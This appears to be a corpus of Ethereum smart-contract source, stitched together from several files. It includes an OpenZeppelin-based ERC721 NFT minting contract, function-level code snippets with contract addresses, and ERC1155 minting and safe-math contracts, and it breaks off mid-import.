calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: Matt W - NFT.sol // André Luque pragma solidity >=0.8.2; // to enable certain compiler features //import '@openzeppelin/contracts/token/ERC721/ERC721.sol'; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {} /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from,address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract nft is ERC721Enumerable, Ownable { using Strings for uint256; //baseURI that is established string private _currentBaseURI; //unrevealed URI that is established string public unrevealedURI; //accumulate the number of tokens that have been minted uint256 public numberOfTokens; //limit the tokens that can be minted uint256 public maxTokens; //stores the amount of mints each address has had mapping(address => uint) private mintsPerAddress; //price to pay for each nft uint256 private mintCost_ = 0.05 ether; constructor() ERC721("Kishi's Ninjas", "KN") { //this uri will only be used once revealed is on unrevealedURI = "ipfs://QmWkWhJKj1y55VEkqfCfX6PiLFZT6Zh4nQNcm76vehVVyh/"; //start off with zero tokens and max in total collection will be 9324 numberOfTokens = 0; maxTokens = 9324; } //this uri will only be used once revealed is on function setBaseURI(string memory baseURI) public onlyOwner { _currentBaseURI = baseURI; } //function to see the current baseURI function _baseURI() internal view override returns (string memory) { return _currentBaseURI; } //tokens are numbered from 1 to 10 function tokenId() internal view returns(uint256) { return numberOfTokens + 1; } //minting a new NFT function mint(uint number) payable public { require(numberOfTokens + number <= maxTokens, 'Max Number of Tokens reached!'); require(msg.value >= mintCost_ * number, 'Insufficient Funds, Price of each NFT is 0.05 ETH'); for (uint256 i = 0; i < number; i++) { uint256 tid = tokenId(); _safeMint(msg.sender, tid); mintsPerAddress[msg.sender] += 1; numberOfTokens += 1; } } //reserved NFTs for creator function reservedMint(uint256 number, address recipient) public onlyOwner { require(numberOfTokens+ number <= maxTokens, 'No more NFTs to mint!'); for (uint256 i = 0; i < number; i++) { _safeMint(recipient, tokenId()); mintsPerAddress[recipient] += 1; numberOfTokens += 1; } } //sending mint fees to owner function withdraw() public onlyOwner { address payable owner_ = payable(owner()); (bool success, ) = owner_.call{value: address(this).balance}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function mintCost() public view returns(uint256) { return mintCost_; } function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) { require(_exists(tokenId_), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId_.toString(), '.json')) : ""; } }
reserved NFTs for creator
function reservedMint(uint256 number, address recipient) public onlyOwner { require(numberOfTokens+ number <= maxTokens, 'No more NFTs to mint!'); for (uint256 i = 0; i < number; i++) { _safeMint(recipient, tokenId()); mintsPerAddress[recipient] += 1; numberOfTokens += 1; } }
492,425
./full_match/43113/0x3a7EfC389459dfF7166AE1B482a63ce2FFCDF61F/sources/contracts/avax.sol
Sets `amount` as the allowance of `spender` over the `owner` s tokens. This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "JHL: approve from the zero address"); require(spender != address(0), "JHL: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
7,180,691
./full_match/1/0x4EB545174DBCe08077fB4689CA7a6eC46F6B5E10/sources/FavorCoinCrowdsale.sol
fallback function DO NOT OVERRIDE/
function () external payable { buyTokens(msg.sender); }
9,654,316
./partial_match/1/0x228818e932952144d8c6c674ce8bBC3dD8681Ca8/sources/erc721a-upgradeable/contracts/ERC721AUpgradeable.sol
Returns the total number of tokens burned./
function _totalBurned() internal view returns (uint256) { return ERC721AStorage.layout()._burnCounter; }
2,596,090
pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../library/LibSafeMath.sol"; import "../ERC1155Mintable.sol"; import "../mixin/MixinOwnable.sol"; import "../mixin/MixinPausable.sol"; import "../HashRegistry.sol"; contract SagaHistoricMinter is Ownable, MixinPausable { using LibSafeMath for uint256; uint256 public tokenType; ERC1155Mintable public mintableErc1155; HashRegistry public registry; // historic pricing params uint256 immutable public startingPriceForHistoric; uint256 immutable public pricePerMintForHistoric; // max total minting supply uint256 immutable maxMintingSupply; address payable public treasury; constructor( address _registry, address _mintableErc1155, address payable _treasury, uint256 _tokenType, uint256 _startingPriceForHistoric, uint256 _pricePerMintForHistoric, uint256 _maxMintingSupply ) { registry = HashRegistry(_registry); mintableErc1155 = ERC1155Mintable(_mintableErc1155); treasury = _treasury; tokenType = _tokenType; startingPriceForHistoric = _startingPriceForHistoric; pricePerMintForHistoric = _pricePerMintForHistoric; maxMintingSupply = _maxMintingSupply; } modifier onlyUnderMaxSupply(uint256 mintingAmount) { require(maxIndex() + mintingAmount <= maxMintingSupply, 'max supply minted'); _; } function pause() external onlyOwner() { _pause(); } function unpause() external onlyOwner() { _unpause(); } function setTreasury(address payable _treasury) external onlyOwner() { treasury = _treasury; } function maxIndex() public view returns (uint256) { return mintableErc1155.maxIndex(tokenType); } function pricingCurveForHistoric(uint256 _maxIndex) public view returns (uint256) { return _maxIndex.safeMul(pricePerMintForHistoric).safeAdd(startingPriceForHistoric); } function mint(address[] calldata _dsts, uint256[] calldata _txHashes) public payable whenNotPaused() onlyUnderMaxSupply(_dsts.length) { require(_dsts.length == _txHashes.length, "dsts, txhashes length mismatch"); // verify and transfer fee uint256 price = 0; for (uint256 i = 0; i < _dsts.length; ++i) { price += pricingCurveForHistoric(maxIndex() + i); } require(price <= msg.value, "insufficient funds to pay for mint"); treasury.transfer(price); msg.sender.transfer(msg.value.safeSub(price)); _mint(_dsts, _txHashes); } function _mint(address[] memory dsts, uint256[] memory txHashes) internal { uint256[] memory tokenIds = new uint256[](dsts.length); for (uint256 i = 0; i < dsts.length; ++i) { uint256 index = maxIndex() + 1 + i; uint256 tokenId = tokenType | index; tokenIds[i] = tokenId; } mintableErc1155.mintNonFungible(tokenType, dsts); registry.writeToRegistry(tokenIds, txHashes); } } pragma solidity ^0.7.0; import "./LibRichErrors.sol"; import "./LibSafeMathRichErrors.sol"; library LibSafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; if (c / a != b) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW, a, b )); } return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO, a, b )); } uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { if (b > a) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW, a, b )); } return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; if (c < a) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW, a, b )); } return c; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } pragma solidity ^0.7.0; import "./library/LibSafeMath.sol"; import "./library/LibAddress.sol"; import "./ERC1155.sol"; import "./interface/IERC1155Mintable.sol"; import "./mixin/MixinOwnable.sol"; import "./mixin/MixinContractURI.sol"; import "./mixin/MixinTokenURI.sol"; /// @dev Mintable form of ERC1155 /// Shows how easy it is to mint new items contract ERC1155Mintable is IERC1155Mintable, ERC1155, MixinContractURI, MixinTokenURI { using LibSafeMath for uint256; using LibAddress for address; uint256 internal nonce; /// mapping from token to max index mapping (uint256 => uint256) public maxIndex; mapping (uint256 => mapping(address => bool)) internal creatorApproval; modifier onlyCreator(uint256 _id) { require(creatorApproval[_id][msg.sender], "not an approved creator of id"); _; } function setCreatorApproval(uint256 id, address creator, bool status) external onlyCreator(id) { creatorApproval[id][creator] = status; } /// @dev creates a new token /// @param isNF is non-fungible token /// @return type_ of token (a unique identifier) function create( bool isNF ) external override onlyOwner() returns (uint256 type_) { // Store the type in the upper 128 bits type_ = (++nonce << 128); // Set a flag if this is an NFI. if (isNF) { type_ = type_ | TYPE_NF_BIT; } creatorApproval[type_][msg.sender] = true; // emit a Transfer event with Create semantic to help with discovery. emit TransferSingle( msg.sender, address(0x0), address(0x0), type_, 0 ); emit URI(uri(type_), type_); } /// @dev creates a new token /// @param type_ of token function createWithType( uint256 type_ ) external onlyOwner() { creatorApproval[type_][msg.sender] = true; // emit a Transfer event with Create semantic to help with discovery. emit TransferSingle( msg.sender, address(0x0), address(0x0), type_, 0 ); emit URI(uri(type_), type_); } /// @dev mints fungible tokens /// @param id token type /// @param to beneficiaries of minted tokens /// @param quantities amounts of minted tokens function mintFungible( uint256 id, address[] calldata to, uint256[] calldata quantities ) external override onlyCreator(id) { // sanity checks require( isFungible(id), "TRIED_TO_MINT_FUNGIBLE_FOR_NON_FUNGIBLE_TOKEN" ); // mint tokens for (uint256 i = 0; i < to.length; ++i) { // cache to reduce number of loads address dst = to[i]; uint256 quantity = quantities[i]; // Grant the items to the caller balances[id][dst] = quantity.safeAdd(balances[id][dst]); // Emit the Transfer/Mint event. // the 0x0 source address implies a mint // It will also provide the circulating supply info. emit TransferSingle( msg.sender, address(0x0), dst, id, quantity ); // if `to` is a contract then trigger its callback if (dst.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received( msg.sender, msg.sender, id, quantity, "" ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } } /// @dev mints a non-fungible token /// @param type_ token type /// @param to beneficiaries of minted tokens function mintNonFungible( uint256 type_, address[] calldata to ) external override onlyCreator(type_) { require( isNonFungible(type_), "TRIED_TO_MINT_NON_FUNGIBLE_FOR_FUNGIBLE_TOKEN" ); // Index are 1-based. uint256 index = maxIndex[type_] + 1; for (uint256 i = 0; i < to.length; ++i) { // cache to reduce number of loads address dst = to[i]; uint256 id = type_ | index + i; nfOwners[id] = dst; // You could use base-type id to store NF type balances if you wish. balances[type_][dst] = balances[type_][dst].safeAdd(1); emit TransferSingle(msg.sender, address(0x0), dst, id, 1); // if `to` is a contract then trigger its callback if (dst.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received( msg.sender, msg.sender, id, 1, "" ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } // record the `maxIndex` of this nft type // this allows us to mint more nft's of this type in a subsequent call. maxIndex[type_] = to.length.safeAdd(maxIndex[type_]); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import 